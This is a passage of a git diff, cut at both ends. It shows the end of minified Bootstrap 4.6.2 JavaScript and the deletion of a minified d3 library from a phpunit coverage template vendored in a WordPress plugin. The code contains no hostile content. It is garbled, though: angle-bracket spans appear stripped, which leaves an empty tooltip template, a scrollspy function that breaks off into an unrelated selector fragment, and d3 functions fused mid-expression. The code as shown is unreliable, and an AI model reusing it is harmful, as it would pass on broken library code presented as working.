t=this;if("none"===o.default(this.element).css("display"))throw new Error("Please use show on visible elements");var e=o.default.Event(this.constructor.Event.SHOW);if(this.isWithContent()&&this._isEnabled){o.default(this.element).trigger(e);var n=d.findShadowRoot(this.element),i=o.default.contains(null!==n?n:this.element.ownerDocument.documentElement,this.element);if(e.isDefaultPrevented()||!i)return;var s=this.getTipElement(),l=d.getUID(this.constructor.NAME);s.setAttribute("id",l),this.element.setAttribute("aria-describedby",l),this.setContent(),this.config.animation&&o.default(s).addClass(Lt);var r="function"==typeof this.config.placement?this.config.placement.call(this,s,this.element):this.config.placement,u=this._getAttachment(r);this.addAttachmentClass(u);var f=this._getContainer();o.default(s).data(this.constructor.DATA_KEY,this),o.default.contains(this.element.ownerDocument.documentElement,this.tip)||o.default(s).appendTo(f),o.default(this.element).trigger(this.constructor.Event.INSERTED),this._popper=new a.default(this.element,s,this._getPopperConfig(u)),o.default(s).addClass(Rt),o.default(s).addClass(this.config.customClass),"ontouchstart"in document.documentElement&&o.default(document.body).children().on("mouseover",null,o.default.noop);var c=function(){t.config.animation&&t._fixTransition();var e=t._hoverState;t._hoverState=null,o.default(t.element).trigger(t.constructor.Event.SHOWN),e===qt&&t._leave(null,t)};if(o.default(this.tip).hasClass(Lt)){var h=d.getTransitionDurationFromElement(this.tip);o.default(this.tip).one(d.TRANSITION_END,c).emulateTransitionEnd(h)}else c()}},e.hide=function(t){var e=this,n=this.getTipElement(),i=o.default.Event(this.constructor.Event.HIDE),a=function(){e._hoverState!==xt&&n.parentNode&&n.parentNode.removeChild(n),e._cleanTipClass(),e.element.removeAttribute("aria-describedby"),o.default(e.element).trigger(e.constructor.Event.HIDDEN),null!==e._popper&&e._popper.destroy(),t&&t()};if(o.default(this.element).trigger(i),!i.isDefaultPrevented()){if(o.default(n).removeClass(Rt),"ontouchstart"in document.documentElement&&o.default(document.body).children().off("mouseover",null,o.default.noop),this._activeTrigger.click=!1,this._activeTrigger.focus=!1,this._activeTrigger.hover=!1,o.default(this.tip).hasClass(Lt)){var s=d.getTransitionDurationFromElement(n);o.default(n).one(d.TRANSITION_END,a).emulateTransitionEnd(s)}else a();this._hoverState=""}},e.update=function(){null!==this._popper&&this._popper.scheduleUpdate()},e.isWithContent=function(){return Boolean(this.getTitle())},e.addAttachmentClass=function(t){o.default(this.getTipElement()).addClass("bs-tooltip-"+t)},e.getTipElement=function(){return this.tip=this.tip||o.default(this.config.template)[0],this.tip},e.setContent=function(){var t=this.getTipElement();this.setElementContent(o.default(t.querySelectorAll(".tooltip-inner")),this.getTitle()),o.default(t).removeClass("fade show")},e.setElementContent=function(t,e){"object"!=typeof e||!e.nodeType&&!e.jquery?this.config.html?(this.config.sanitize&&(e=At(e,this.config.whiteList,this.config.sanitizeFn)),t.html(e)):t.text(e):this.config.html?o.default(e).parent().is(t)||t.empty().append(e):t.text(o.default(e).text())},e.getTitle=function(){var t=this.element.getAttribute("data-original-title");return t||(t="function"==typeof this.config.title?this.config.title.call(this.element):this.config.title),t},e._getPopperConfig=function(t){var e=this;return r({},{placement:t,modifiers:{offset:this._getOffset(),flip:{behavior:this.config.fallbackPlacement},arrow:{element:".arrow"},preventOverflow:{boundariesElement:this.config.boundary}},onCreate:function(t){t.originalPlacement!==t.placement&&e._handlePopperPlacementChange(t)},onUpdate:function(t){return e._handlePopperPlacementChange(t)}},this.config.popperConfig)},e._getOffset=function(){var t=this,e={};return"function"==typeof this.config.offset?e.fn=function(e){return e.offsets=r({},e.offsets,t.config.offset(e.offsets,t.element)),e}:e.offset=this.config.offset,e},e._getContainer=function(){return!1===this.config.container?document.body:d.isElement(this.config.container)?o.default(this.config.container):o.default(document).find(this.config.container)},e._getAttachment=function(t){return Bt[t.toUpperCase()]},e._setListeners=function(){var t=this;this.config.trigger.split(" ").forEach((function(e){if("click"===e)o.default(t.element).on(t.constructor.Event.CLICK,t.config.selector,(function(e){return t.toggle(e)}));else if("manual"!==e){var n=e===Ft?t.constructor.Event.MOUSEENTER:t.constructor.Event.FOCUSIN,i=e===Ft?t.constructor.Event.MOUSELEAVE:t.constructor.Event.FOCUSOUT;o.default(t.element).on(n,t.config.selector,(function(e){return t._enter(e)})).on(i,t.config.selector,(function(e){return t._leave(e)}))}})),this._hideModalHandler=function(){t.element&&t.hide()},o.default(this.element).closest(".modal").on("hide.bs.modal",this._hideModalHandler),this.config.selector?this.config=r({},this.config,{trigger:"manual",selector:""}):this._fixTitle()},e._fixTitle=function(){var t=typeof this.element.getAttribute("data-original-title");(this.element.getAttribute("title")||"string"!==t)&&(this.element.setAttribute("data-original-title",this.element.getAttribute("title")||""),this.element.setAttribute("title",""))},e._enter=function(t,e){var n=this.constructor.DATA_KEY;(e=e||o.default(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),o.default(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusin"===t.type?Qt:Ft]=!0),o.default(e.getTipElement()).hasClass(Rt)||e._hoverState===xt?e._hoverState=xt:(clearTimeout(e._timeout),e._hoverState=xt,e.config.delay&&e.config.delay.show?e._timeout=setTimeout((function(){e._hoverState===xt&&e.show()}),e.config.delay.show):e.show())},e._leave=function(t,e){var n=this.constructor.DATA_KEY;(e=e||o.default(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),o.default(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusout"===t.type?Qt:Ft]=!1),e._isWithActiveTrigger()||(clearTimeout(e._timeout),e._hoverState=qt,e.config.delay&&e.config.delay.hide?e._timeout=setTimeout((function(){e._hoverState===qt&&e.hide()}),e.config.delay.hide):e.hide())},e._isWithActiveTrigger=function(){for(var t in this._activeTrigger)if(this._activeTrigger[t])return!0;return!1},e._getConfig=function(t){var e=o.default(this.element).data();return Object.keys(e).forEach((function(t){-1!==Pt.indexOf(t)&&delete e[t]})),"number"==typeof(t=r({},this.constructor.Default,e,"object"==typeof t&&t?t:{})).delay&&(t.delay={show:t.delay,hide:t.delay}),"number"==typeof t.title&&(t.title=t.title.toString()),"number"==typeof t.content&&(t.content=t.content.toString()),d.typeCheckConfig(It,t,this.constructor.DefaultType),t.sanitize&&(t.template=At(t.template,t.whiteList,t.sanitizeFn)),t},e._getDelegateConfig=function(){var t={};if(this.config)for(var e in this.config)this.constructor.Default[e]!==this.config[e]&&(t[e]=this.config[e]);return t},e._cleanTipClass=function(){var t=o.default(this.getTipElement()),e=t.attr("class").match(jt);null!==e&&e.length&&t.removeClass(e.join(""))},e._handlePopperPlacementChange=function(t){this.tip=t.instance.popper,this._cleanTipClass(),this.addAttachmentClass(this._getAttachment(t.placement))},e._fixTransition=function(){var t=this.getTipElement(),e=this.config.animation;null===t.getAttribute("x-placement")&&(o.default(t).removeClass(Lt),this.config.animation=!1,this.hide(),this.show(),this.config.animation=e)},t._jQueryInterface=function(e){return this.each((function(){var n=o.default(this),i=n.data(kt),a="object"==typeof e&&e;if((i||!/dispose|hide/.test(e))&&(i||(i=new t(this,a),n.data(kt,i)),"string"==typeof e)){if("undefined"==typeof i[e])throw new TypeError('No method named "'+e+'"');i[e]()}}))},l(t,null,[{key:"VERSION",get:function(){return"4.6.2"}},{key:"Default",get:function(){return Ht}},{key:"NAME",get:function(){return It}},{key:"DATA_KEY",get:function(){return kt}},{key:"Event",get:function(){return Mt}},{key:"EVENT_KEY",get:function(){return".bs.tooltip"}},{key:"DefaultType",get:function(){return Ut}}]),t}();o.default.fn.tooltip=Wt._jQueryInterface,o.default.fn.tooltip.Constructor=Wt,o.default.fn.tooltip.noConflict=function(){return o.default.fn.tooltip=Ot,Wt._jQueryInterface};var Vt="bs.popover",zt=o.default.fn.popover,Kt=new RegExp("(^|\\s)bs-popover\\S+","g"),Xt=r({},Wt.Default,{placement:"right",trigger:"click",content:"",template:''}),Yt=r({},Wt.DefaultType,{content:"(string|element|function)"}),$t={HIDE:"hide.bs.popover",HIDDEN:"hidden.bs.popover",SHOW:"show.bs.popover",SHOWN:"shown.bs.popover",INSERTED:"inserted.bs.popover",CLICK:"click.bs.popover",FOCUSIN:"focusin.bs.popover",FOCUSOUT:"focusout.bs.popover",MOUSEENTER:"mouseenter.bs.popover",MOUSELEAVE:"mouseleave.bs.popover"},Jt=function(t){var e,n;function i(){return t.apply(this,arguments)||this}n=t,(e=i).prototype=Object.create(n.prototype),e.prototype.constructor=e,u(e,n);var a=i.prototype;return a.isWithContent=function(){return this.getTitle()||this._getContent()},a.addAttachmentClass=function(t){o.default(this.getTipElement()).addClass("bs-popover-"+t)},a.getTipElement=function(){return this.tip=this.tip||o.default(this.config.template)[0],this.tip},a.setContent=function(){var t=o.default(this.getTipElement());this.setElementContent(t.find(".popover-header"),this.getTitle());var e=this._getContent();"function"==typeof e&&(e=e.call(this.element)),this.setElementContent(t.find(".popover-body"),e),t.removeClass("fade show")},a._getContent=function(){return this.element.getAttribute("data-content")||this.config.content},a._cleanTipClass=function(){var t=o.default(this.getTipElement()),e=t.attr("class").match(Kt);null!==e&&e.length>0&&t.removeClass(e.join(""))},i._jQueryInterface=function(t){return this.each((function(){var e=o.default(this).data(Vt),n="object"==typeof t?t:null;if((e||!/dispose|hide/.test(t))&&(e||(e=new i(this,n),o.default(this).data(Vt,e)),"string"==typeof t)){if("undefined"==typeof e[t])throw new TypeError('No method named "'+t+'"');e[t]()}}))},l(i,null,[{key:"VERSION",get:function(){return"4.6.2"}},{key:"Default",get:function(){return Xt}},{key:"NAME",get:function(){return"popover"}},{key:"DATA_KEY",get:function(){return Vt}},{key:"Event",get:function(){return $t}},{key:"EVENT_KEY",get:function(){return".bs.popover"}},{key:"DefaultType",get:function(){return Yt}}]),i}(Wt);o.default.fn.popover=Jt._jQueryInterface,o.default.fn.popover.Constructor=Jt,o.default.fn.popover.noConflict=function(){return o.default.fn.popover=zt,Jt._jQueryInterface};var Gt="scrollspy",Zt="bs.scrollspy",te=o.default.fn[Gt],ee="active",ne="position",ie=".nav, .list-group",oe={offset:10,method:"auto",target:""},ae={offset:"number",method:"string",target:"(string|element)"},se=function(){function t(t,e){var n=this;this._element=t,this._scrollElement="BODY"===t.tagName?window:t,this._config=this._getConfig(e),this._selector=this._config.target+" .nav-link,"+this._config.target+" .list-group-item,"+this._config.target+" .dropdown-item",this._offsets=[],this._targets=[],this._activeTarget=null,this._scrollHeight=0,o.default(this._scrollElement).on("scroll.bs.scrollspy",(function(t){return n._process(t)})),this.refresh(),this._process()}var e=t.prototype;return e.refresh=function(){var t=this,e=this._scrollElement===this._scrollElement.window?"offset":ne,n="auto"===this._config.method?e:this._config.method,i=n===ne?this._getScrollTop():0;this._offsets=[],this._targets=[],this._scrollHeight=this._getScrollHeight(),[].slice.call(document.querySelectorAll(this._selector)).map((function(t){var e,a=d.getSelectorFromElement(t);if(a&&(e=document.querySelector(a)),e){var s=e.getBoundingClientRect();if(s.width||s.height)return[o.default(e)[n]().top+i,a]}return null})).filter(Boolean).sort((function(t,e){return t[0]-e[0]})).forEach((function(e){t._offsets.push(e[0]),t._targets.push(e[1])}))},e.dispose=function(){o.default.removeData(this._element,Zt),o.default(this._scrollElement).off(".bs.scrollspy"),this._element=null,this._scrollElement=null,this._config=null,this._selector=null,this._offsets=null,this._targets=null,this._activeTarget=null,this._scrollHeight=null},e._getConfig=function(t){if("string"!=typeof(t=r({},oe,"object"==typeof t&&t?t:{})).target&&d.isElement(t.target)){var e=o.default(t.target).attr("id");e||(e=d.getUID(Gt),o.default(t.target).attr("id",e)),t.target="#"+e}return d.typeCheckConfig(Gt,t,ae),t},e._getScrollTop=function(){return this._scrollElement===window?this._scrollElement.pageYOffset:this._scrollElement.scrollTop},e._getScrollHeight=function(){return this._scrollElement.scrollHeight||Math.max(document.body.scrollHeight,document.documentElement.scrollHeight)},e._getOffsetHeight=function(){return this._scrollElement===window?window.innerHeight:this._scrollElement.getBoundingClientRect().height},e._process=function(){var t=this._getScrollTop()+this._config.offset,e=this._getScrollHeight(),n=this._config.offset+e-this._getOffsetHeight();if(this._scrollHeight!==e&&this.refresh(),t>=n){var i=this._targets[this._targets.length-1];this._activeTarget!==i&&this._activate(i)}else{if(this._activeTarget&&t0)return this._activeTarget=null,void this._clear();for(var o=this._offsets.length;o--;)this._activeTarget!==this._targets[o]&&t>=this._offsets[o]&&("undefined"==typeof this._offsets[o+1]||t li > .active",ge=function(){function t(t){this._element=t}var e=t.prototype;return e.show=function(){var t=this;if(!(this._element.parentNode&&this._element.parentNode.nodeType===Node.ELEMENT_NODE&&o.default(this._element).hasClass(ue)||o.default(this._element).hasClass("disabled")||this._element.hasAttribute("disabled"))){var e,n,i=o.default(this._element).closest(".nav, .list-group")[0],a=d.getSelectorFromElement(this._element);if(i){var s="UL"===i.nodeName||"OL"===i.nodeName?he:ce;n=(n=o.default.makeArray(o.default(i).find(s)))[n.length-1]}var l=o.default.Event("hide.bs.tab",{relatedTarget:this._element}),r=o.default.Event("show.bs.tab",{relatedTarget:n});if(n&&o.default(n).trigger(l),o.default(this._element).trigger(r),!r.isDefaultPrevented()&&!l.isDefaultPrevented()){a&&(e=document.querySelector(a)),this._activate(this._element,i);var u=function(){var e=o.default.Event("hidden.bs.tab",{relatedTarget:t._element}),i=o.default.Event("shown.bs.tab",{relatedTarget:n});o.default(n).trigger(e),o.default(t._element).trigger(i)};e?this._activate(e,e.parentNode,u):u()}}},e.dispose=function(){o.default.removeData(this._element,le),this._element=null},e._activate=function(t,e,n){var i=this,a=(!e||"UL"!==e.nodeName&&"OL"!==e.nodeName?o.default(e).children(ce):o.default(e).find(he))[0],s=n&&a&&o.default(a).hasClass(fe),l=function(){return i._transitionComplete(t,a,n)};if(a&&s){var r=d.getTransitionDurationFromElement(a);o.default(a).removeClass(de).one(d.TRANSITION_END,l).emulateTransitionEnd(r)}else l()},e._transitionComplete=function(t,e,n){if(e){o.default(e).removeClass(ue);var i=o.default(e.parentNode).find("> .dropdown-menu .active")[0];i&&o.default(i).removeClass(ue),"tab"===e.getAttribute("role")&&e.setAttribute("aria-selected",!1)}o.default(t).addClass(ue),"tab"===t.getAttribute("role")&&t.setAttribute("aria-selected",!0),d.reflow(t),t.classList.contains(fe)&&t.classList.add(de);var a=t.parentNode;if(a&&"LI"===a.nodeName&&(a=a.parentNode),a&&o.default(a).hasClass("dropdown-menu")){var s=o.default(t).closest(".dropdown")[0];if(s){var l=[].slice.call(s.querySelectorAll(".dropdown-toggle"));o.default(l).addClass(ue)}t.setAttribute("aria-expanded",!0)}n&&n()},t._jQueryInterface=function(e){return this.each((function(){var n=o.default(this),i=n.data(le);if(i||(i=new t(this),n.data(le,i)),"string"==typeof e){if("undefined"==typeof i[e])throw new TypeError('No method named "'+e+'"');i[e]()}}))},l(t,null,[{key:"VERSION",get:function(){return"4.6.2"}}]),t}();o.default(document).on("click.bs.tab.data-api",'[data-toggle="tab"], [data-toggle="pill"], [data-toggle="list"]',(function(t){t.preventDefault(),ge._jQueryInterface.call(o.default(this),"show")})),o.default.fn.tab=ge._jQueryInterface,o.default.fn.tab.Constructor=ge,o.default.fn.tab.noConflict=function(){return o.default.fn.tab=re,ge._jQueryInterface};var me="bs.toast",pe=o.default.fn.toast,_e="hide",ve="show",ye="showing",be="click.dismiss.bs.toast",Ee={animation:!0,autohide:!0,delay:500},Te={animation:"boolean",autohide:"boolean",delay:"number"},we=function(){function t(t,e){this._element=t,this._config=this._getConfig(e),this._timeout=null,this._setListeners()}var e=t.prototype;return e.show=function(){var t=this,e=o.default.Event("show.bs.toast");if(o.default(this._element).trigger(e),!e.isDefaultPrevented()){this._clearTimeout(),this._config.animation&&this._element.classList.add("fade");var n=function(){t._element.classList.remove(ye),t._element.classList.add(ve),o.default(t._element).trigger("shown.bs.toast"),t._config.autohide&&(t._timeout=setTimeout((function(){t.hide()}),t._config.delay))};if(this._element.classList.remove(_e),d.reflow(this._element),this._element.classList.add(ye),this._config.animation){var i=d.getTransitionDurationFromElement(this._element);o.default(this._element).one(d.TRANSITION_END,n).emulateTransitionEnd(i)}else n()}},e.hide=function(){if(this._element.classList.contains(ve)){var t=o.default.Event("hide.bs.toast");o.default(this._element).trigger(t),t.isDefaultPrevented()||this._close()}},e.dispose=function(){this._clearTimeout(),this._element.classList.contains(ve)&&this._element.classList.remove(ve),o.default(this._element).off(be),o.default.removeData(this._element,me),this._element=null,this._config=null},e._getConfig=function(t){return t=r({},Ee,o.default(this._element).data(),"object"==typeof t&&t?t:{}),d.typeCheckConfig("toast",t,this.constructor.DefaultType),t},e._setListeners=function(){var t=this;o.default(this._element).on(be,'[data-dismiss="toast"]',(function(){return t.hide()}))},e._close=function(){var t=this,e=function(){t._element.classList.add(_e),o.default(t._element).trigger("hidden.bs.toast")};if(this._element.classList.remove(ve),this._config.animation){var n=d.getTransitionDurationFromElement(this._element);o.default(this._element).one(d.TRANSITION_END,e).emulateTransitionEnd(n)}else e()},e._clearTimeout=function(){clearTimeout(this._timeout),this._timeout=null},t._jQueryInterface=function(e){return this.each((function(){var n=o.default(this),i=n.data(me);if(i||(i=new t(this,"object"==typeof e&&e),n.data(me,i)),"string"==typeof e){if("undefined"==typeof i[e])throw new TypeError('No method named "'+e+'"');i[e](this)}}))},l(t,null,[{key:"VERSION",get:function(){return"4.6.2"}},{key:"DefaultType",get:function(){return Te}},{key:"Default",get:function(){return Ee}}]),t}();o.default.fn.toast=we._jQueryInterface,o.default.fn.toast.Constructor=we,o.default.fn.toast.noConflict=function(){return o.default.fn.toast=pe,we._jQueryInterface},t.Alert=g,t.Button=E,t.Carousel=P,t.Collapse=V,t.Dropdown=lt,t.Modal=Ct,t.Popover=Jt,t.Scrollspy=se,t.Tab=ge,t.Toast=we,t.Tooltip=Wt,t.Util=d,Object.defineProperty(t,"__esModule",{value:!0})})); -//# sourceMappingURL=bootstrap.min.js.map \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/js/d3.min.js b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/js/d3.min.js deleted file mode 100644 index 16648730..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/js/d3.min.js +++ /dev/null @@ -1,5 +0,0 @@ -!function(){function n(n){return n&&(n.ownerDocument||n.document||n).documentElement}function t(n){return n&&(n.ownerDocument&&n.ownerDocument.defaultView||n.document&&n||n.defaultView)}function e(n,t){return t>n?-1:n>t?1:n>=t?0:NaN}function r(n){return null===n?NaN:+n}function i(n){return!isNaN(n)}function u(n){return{left:function(t,e,r,i){for(arguments.length<3&&(r=0),arguments.length<4&&(i=t.length);i>r;){var u=r+i>>>1;n(t[u],e)<0?r=u+1:i=u}return r},right:function(t,e,r,i){for(arguments.length<3&&(r=0),arguments.length<4&&(i=t.length);i>r;){var u=r+i>>>1;n(t[u],e)>0?i=u:r=u+1}return r}}}function o(n){return n.length}function a(n){for(var t=1;n*t%1;)t*=10;return t}function l(n,t){for(var e in t)Object.defineProperty(n.prototype,e,{value:t[e],enumerable:!1})}function c(){this._=Object.create(null)}function f(n){return(n+="")===bo||n[0]===_o?_o+n:n}function s(n){return(n+="")[0]===_o?n.slice(1):n}function h(n){return f(n)in this._}function p(n){return(n=f(n))in this._&&delete this._[n]}function g(){var n=[];for(var t in this._)n.push(s(t));return n}function v(){var n=0;for(var t in this._)++n;return n}function d(){for(var n in this._)return!1;return!0}function y(){this._=Object.create(null)}function m(n){return n}function M(n,t,e){return function(){var r=e.apply(t,arguments);return r===t?n:r}}function x(n,t){if(t in n)return t;t=t.charAt(0).toUpperCase()+t.slice(1);for(var e=0,r=wo.length;r>e;++e){var i=wo[e]+t;if(i in n)return i}}function b(){}function _(){}function w(n){function t(){for(var t,r=e,i=-1,u=r.length;++ie;e++)for(var i,u=n[e],o=0,a=u.length;a>o;o++)(i=u[o])&&t(i,o,e);return n}function Z(n){return ko(n,qo),n}function V(n){var t,e;return function(r,i,u){var o,a=n[u].update,l=a.length;for(u!=e&&(e=u,t=0),i>=t&&(t=i+1);!(o=a[t])&&++t0&&(n=n.slice(0,a));var c=To.get(n);return c&&(n=c,l=B),a?t?i:r:t?b:u}function $(n,t){return function(e){var r=ao.event;ao.event=e,t[0]=this.__data__;try{n.apply(this,t)}finally{ao.event=r}}}function B(n,t){var e=$(n,t);return function(n){var t=this,r=n.relatedTarget;r&&(r===t||8&r.compareDocumentPosition(t))||e.call(t,n)}}function W(e){var r=".dragsuppress-"+ ++Do,i="click"+r,u=ao.select(t(e)).on("touchmove"+r,S).on("dragstart"+r,S).on("selectstart"+r,S);if(null==Ro&&(Ro="onselectstart"in e?!1:x(e.style,"userSelect")),Ro){var o=n(e).style,a=o[Ro];o[Ro]="none"}return function(n){if(u.on(r,null),Ro&&(o[Ro]=a),n){var t=function(){u.on(i,null)};u.on(i,function(){S(),t()},!0),setTimeout(t,0)}}}function J(n,e){e.changedTouches&&(e=e.changedTouches[0]);var r=n.ownerSVGElement||n;if(r.createSVGPoint){var i=r.createSVGPoint();if(0>Po){var u=t(n);if(u.scrollX||u.scrollY){r=ao.select("body").append("svg").style({position:"absolute",top:0,left:0,margin:0,padding:0,border:"none"},"important");var o=r[0][0].getScreenCTM();Po=!(o.f||o.e),r.remove()}}return Po?(i.x=e.pageX,i.y=e.pageY):(i.x=e.clientX,i.y=e.clientY),i=i.matrixTransform(n.getScreenCTM().inverse()),[i.x,i.y]}var a=n.getBoundingClientRect();return[e.clientX-a.left-n.clientLeft,e.clientY-a.top-n.clientTop]}function G(){return ao.event.changedTouches[0].identifier}function K(n){return n>0?1:0>n?-1:0}function Q(n,t,e){return(t[0]-n[0])*(e[1]-n[1])-(t[1]-n[1])*(e[0]-n[0])}function nn(n){return n>1?0:-1>n?Fo:Math.acos(n)}function tn(n){return n>1?Io:-1>n?-Io:Math.asin(n)}function en(n){return((n=Math.exp(n))-1/n)/2}function rn(n){return((n=Math.exp(n))+1/n)/2}function un(n){return((n=Math.exp(2*n))-1)/(n+1)}function on(n){return(n=Math.sin(n/2))*n}function an(){}function ln(n,t,e){return this instanceof ln?(this.h=+n,this.s=+t,void(this.l=+e)):arguments.length<2?n instanceof ln?new ln(n.h,n.s,n.l):_n(""+n,wn,ln):new ln(n,t,e)}function cn(n,t,e){function r(n){return n>360?n-=360:0>n&&(n+=360),60>n?u+(o-u)*n/60:180>n?o:240>n?u+(o-u)*(240-n)/60:u}function i(n){return Math.round(255*r(n))}var u,o;return n=isNaN(n)?0:(n%=360)<0?n+360:n,t=isNaN(t)?0:0>t?0:t>1?1:t,e=0>e?0:e>1?1:e,o=.5>=e?e*(1+t):e+t-e*t,u=2*e-o,new mn(i(n+120),i(n),i(n-120))}function fn(n,t,e){return this instanceof fn?(this.h=+n,this.c=+t,void(this.l=+e)):arguments.length<2?n instanceof fn?new fn(n.h,n.c,n.l):n instanceof hn?gn(n.l,n.a,n.b):gn((n=Sn((n=ao.rgb(n)).r,n.g,n.b)).l,n.a,n.b):new fn(n,t,e)}function sn(n,t,e){return isNaN(n)&&(n=0),isNaN(t)&&(t=0),new hn(e,Math.cos(n*=Yo)*t,Math.sin(n)*t)}function hn(n,t,e){return this instanceof hn?(this.l=+n,this.a=+t,void(this.b=+e)):arguments.length<2?n instanceof hn?new hn(n.l,n.a,n.b):n instanceof fn?sn(n.h,n.c,n.l):Sn((n=mn(n)).r,n.g,n.b):new hn(n,t,e)}function pn(n,t,e){var r=(n+16)/116,i=r+t/500,u=r-e/200;return i=vn(i)*na,r=vn(r)*ta,u=vn(u)*ea,new mn(yn(3.2404542*i-1.5371385*r-.4985314*u),yn(-.969266*i+1.8760108*r+.041556*u),yn(.0556434*i-.2040259*r+1.0572252*u))}function gn(n,t,e){return n>0?new fn(Math.atan2(e,t)*Zo,Math.sqrt(t*t+e*e),n):new fn(NaN,NaN,n)}function vn(n){return n>.206893034?n*n*n:(n-4/29)/7.787037}function dn(n){return n>.008856?Math.pow(n,1/3):7.787037*n+4/29}function yn(n){return Math.round(255*(.00304>=n?12.92*n:1.055*Math.pow(n,1/2.4)-.055))}function mn(n,t,e){return this instanceof mn?(this.r=~~n,this.g=~~t,void(this.b=~~e)):arguments.length<2?n instanceof mn?new mn(n.r,n.g,n.b):_n(""+n,mn,cn):new mn(n,t,e)}function Mn(n){return new mn(n>>16,n>>8&255,255&n)}function xn(n){return Mn(n)+""}function bn(n){return 16>n?"0"+Math.max(0,n).toString(16):Math.min(255,n).toString(16)}function _n(n,t,e){var r,i,u,o=0,a=0,l=0;if(r=/([a-z]+)\((.*)\)/.exec(n=n.toLowerCase()))switch(i=r[2].split(","),r[1]){case"hsl":return e(parseFloat(i[0]),parseFloat(i[1])/100,parseFloat(i[2])/100);case"rgb":return t(Nn(i[0]),Nn(i[1]),Nn(i[2]))}return(u=ua.get(n))?t(u.r,u.g,u.b):(null==n||"#"!==n.charAt(0)||isNaN(u=parseInt(n.slice(1),16))||(4===n.length?(o=(3840&u)>>4,o=o>>4|o,a=240&u,a=a>>4|a,l=15&u,l=l<<4|l):7===n.length&&(o=(16711680&u)>>16,a=(65280&u)>>8,l=255&u)),t(o,a,l))}function wn(n,t,e){var r,i,u=Math.min(n/=255,t/=255,e/=255),o=Math.max(n,t,e),a=o-u,l=(o+u)/2;return a?(i=.5>l?a/(o+u):a/(2-o-u),r=n==o?(t-e)/a+(e>t?6:0):t==o?(e-n)/a+2:(n-t)/a+4,r*=60):(r=NaN,i=l>0&&1>l?0:r),new ln(r,i,l)}function Sn(n,t,e){n=kn(n),t=kn(t),e=kn(e);var r=dn((.4124564*n+.3575761*t+.1804375*e)/na),i=dn((.2126729*n+.7151522*t+.072175*e)/ta),u=dn((.0193339*n+.119192*t+.9503041*e)/ea);return hn(116*i-16,500*(r-i),200*(i-u))}function kn(n){return(n/=255)<=.04045?n/12.92:Math.pow((n+.055)/1.055,2.4)}function Nn(n){var t=parseFloat(n);return"%"===n.charAt(n.length-1)?Math.round(2.55*t):t}function En(n){return"function"==typeof n?n:function(){return n}}function An(n){return function(t,e,r){return 2===arguments.length&&"function"==typeof e&&(r=e,e=null),Cn(t,e,n,r)}}function Cn(n,t,e,r){function i(){var n,t=l.status;if(!t&&Ln(l)||t>=200&&300>t||304===t){try{n=e.call(u,l)}catch(r){return void o.error.call(u,r)}o.load.call(u,n)}else o.error.call(u,l)}var u={},o=ao.dispatch("beforesend","progress","load","error"),a={},l=new XMLHttpRequest,c=null;return!this.XDomainRequest||"withCredentials"in l||!/^(http(s)?:)?\/\//.test(n)||(l=new XDomainRequest),"onload"in l?l.onload=l.onerror=i:l.onreadystatechange=function(){l.readyState>3&&i()},l.onprogress=function(n){var t=ao.event;ao.event=n;try{o.progress.call(u,l)}finally{ao.event=t}},u.header=function(n,t){return n=(n+"").toLowerCase(),arguments.length<2?a[n]:(null==t?delete a[n]:a[n]=t+"",u)},u.mimeType=function(n){return arguments.length?(t=null==n?null:n+"",u):t},u.responseType=function(n){return arguments.length?(c=n,u):c},u.response=function(n){return e=n,u},["get","post"].forEach(function(n){u[n]=function(){return u.send.apply(u,[n].concat(co(arguments)))}}),u.send=function(e,r,i){if(2===arguments.length&&"function"==typeof r&&(i=r,r=null),l.open(e,n,!0),null==t||"accept"in a||(a.accept=t+",*/*"),l.setRequestHeader)for(var f in a)l.setRequestHeader(f,a[f]);return null!=t&&l.overrideMimeType&&l.overrideMimeType(t),null!=c&&(l.responseType=c),null!=i&&u.on("error",i).on("load",function(n){i(null,n)}),o.beforesend.call(u,l),l.send(null==r?null:r),u},u.abort=function(){return l.abort(),u},ao.rebind(u,o,"on"),null==r?u:u.get(zn(r))}function zn(n){return 1===n.length?function(t,e){n(null==t?e:null)}:n}function Ln(n){var t=n.responseType;return t&&"text"!==t?n.response:n.responseText}function qn(n,t,e){var r=arguments.length;2>r&&(t=0),3>r&&(e=Date.now());var i=e+t,u={c:n,t:i,n:null};return aa?aa.n=u:oa=u,aa=u,la||(ca=clearTimeout(ca),la=1,fa(Tn)),u}function Tn(){var n=Rn(),t=Dn()-n;t>24?(isFinite(t)&&(clearTimeout(ca),ca=setTimeout(Tn,t)),la=0):(la=1,fa(Tn))}function Rn(){for(var n=Date.now(),t=oa;t;)n>=t.t&&t.c(n-t.t)&&(t.c=null),t=t.n;return n}function Dn(){for(var n,t=oa,e=1/0;t;)t.c?(t.t8?function(n){return n/e}:function(n){return n*e},symbol:n}}function jn(n){var t=n.decimal,e=n.thousands,r=n.grouping,i=n.currency,u=r&&e?function(n,t){for(var i=n.length,u=[],o=0,a=r[0],l=0;i>0&&a>0&&(l+a+1>t&&(a=Math.max(1,t-l)),u.push(n.substring(i-=a,i+a)),!((l+=a+1)>t));)a=r[o=(o+1)%r.length];return u.reverse().join(e)}:m;return function(n){var e=ha.exec(n),r=e[1]||" ",o=e[2]||">",a=e[3]||"-",l=e[4]||"",c=e[5],f=+e[6],s=e[7],h=e[8],p=e[9],g=1,v="",d="",y=!1,m=!0;switch(h&&(h=+h.substring(1)),(c||"0"===r&&"="===o)&&(c=r="0",o="="),p){case"n":s=!0,p="g";break;case"%":g=100,d="%",p="f";break;case"p":g=100,d="%",p="r";break;case"b":case"o":case"x":case"X":"#"===l&&(v="0"+p.toLowerCase());case"c":m=!1;case"d":y=!0,h=0;break;case"s":g=-1,p="r"}"$"===l&&(v=i[0],d=i[1]),"r"!=p||h||(p="g"),null!=h&&("g"==p?h=Math.max(1,Math.min(21,h)):"e"!=p&&"f"!=p||(h=Math.max(0,Math.min(20,h)))),p=pa.get(p)||Fn;var M=c&&s;return function(n){var e=d;if(y&&n%1)return"";var 